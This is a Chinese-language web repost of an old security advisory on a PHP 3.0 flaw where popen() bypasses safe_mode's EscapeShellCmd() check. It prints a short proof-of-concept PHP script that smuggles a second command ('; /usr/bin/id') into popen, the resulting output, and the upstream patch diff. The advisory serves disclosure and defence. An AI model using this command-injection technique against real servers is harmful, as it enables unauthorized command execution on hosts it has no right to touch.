您的位置:首页网页设计PHP文摘 → PHP3 safe_mode 失效漏洞

PHP3 safe_mode 失效漏洞

时间:2004/11/7 3:31:00来源:本站整理作者:蓝点我要评论(0)

受影响的系统:  PHP 3.00  

--------------------------------------------------------------------------------

描述:

  

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了

PHP的特色。这个语言可以让web开发者快速创建动态网页。

   

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,

用于控制在允许PHP操作的webroot环境中执行命令。

   

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()

函数,此函数用于确认在webroot目录外部不能执行命令。

   

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可

以利用'popen'系统调用进行非法操作。

  

--------------------------------------------------------------------------------

测试程序:

  

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  

<?php

$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");

echo "$fp<br>n";

while($line = fgets($fp, 1024)):

printf("%s<br>n", $line);

endwhile;

pclose($fp);

phpinfo();

?>

   

输出结果如下:

   

1

total 53  

-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  

uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  

and from the configuration values of phpinfo():

safe_mode 0 1  



--------------------------------------------------------------------------------

建议:  

Index: functions/file.c

===================================================================

RCS file: /repository/php3/functions/file.c,v

retrieving revision 1.229

retrieving revision 1.230

diff -u -r1.229 -r1.230

--- functions/file.c 2000/01/01 04:31:15 1.229

+++ functions/file.c 2000/01/03 21:31:31 1.230

@@ -26,7 +26,7 @@

| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |

+----------------------------------------------------------------------+

*/

-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */

+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */

#include "php.h"

#include <stdio.h>

@@ -51,6 +51,7 @@

#include "safe_mode.h"

#include "php3_list.h"

#include "php3_string.h"

+#include "exec.h"

#include "file.h"

#if HAVE_PWD_H

#if MSVC5



@@ -575,7 +576,7 @@

pval *arg1, *arg2;

FILE *fp;

int id;

- char *p;

+ char *p, *tmp = NULL;

char *b, buf[1024];

TLS_VARS;

   

@@ -600,7 +601,11 @@

} else {

snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);

}

   

- fp = popen(buf,p);

   

+

+ tmp = _php3_escapeshellcmd(buf);

+ fp = popen(tmp,p);

+ efree(tmp); /* temporary copy, no longer necessary */

+

if (!fp) {

php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));

RETURN_FALSE;  


相关阅读 Mac和Windows哪个好 windows和mac os对比介绍Win10预览版怎么升级 Win10预览版升级方法厂商不再预装Win7或8.1系统,驱动人生帮您快速升级Mac移动硬盘安装win8 Mac将win装在移动硬盘使用教程windows10xboxone串流简单教程Windows Hello怎么用 Windows Hello使用设置教程win10怎么关闭自动更新 win10如何关闭自动更新Mac系统如何远程桌面到Windows系统

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 缺少 mcrypt 扩展。请 php sprintf用法详解MySQL-Front连接管理MySQL图解教程PHPMyAdmin导入SQL文件教程在windows iis5下安装php4.0+mysql之我见

人气排行 MySQL-Front连接管理MySQL图解教程PHPMyAdmin导入SQL文件教程php sprintf用法详解缺少 mcrypt 扩展。请检查 PHP 配置。phpmyPHP5.0正式发布 不完全兼容PHP4 新增多项功使用网络地址转换实现多服务器负载均衡用PHP连mysql和oracle数据库性能比较真正面向对象编程:PHP5.01发布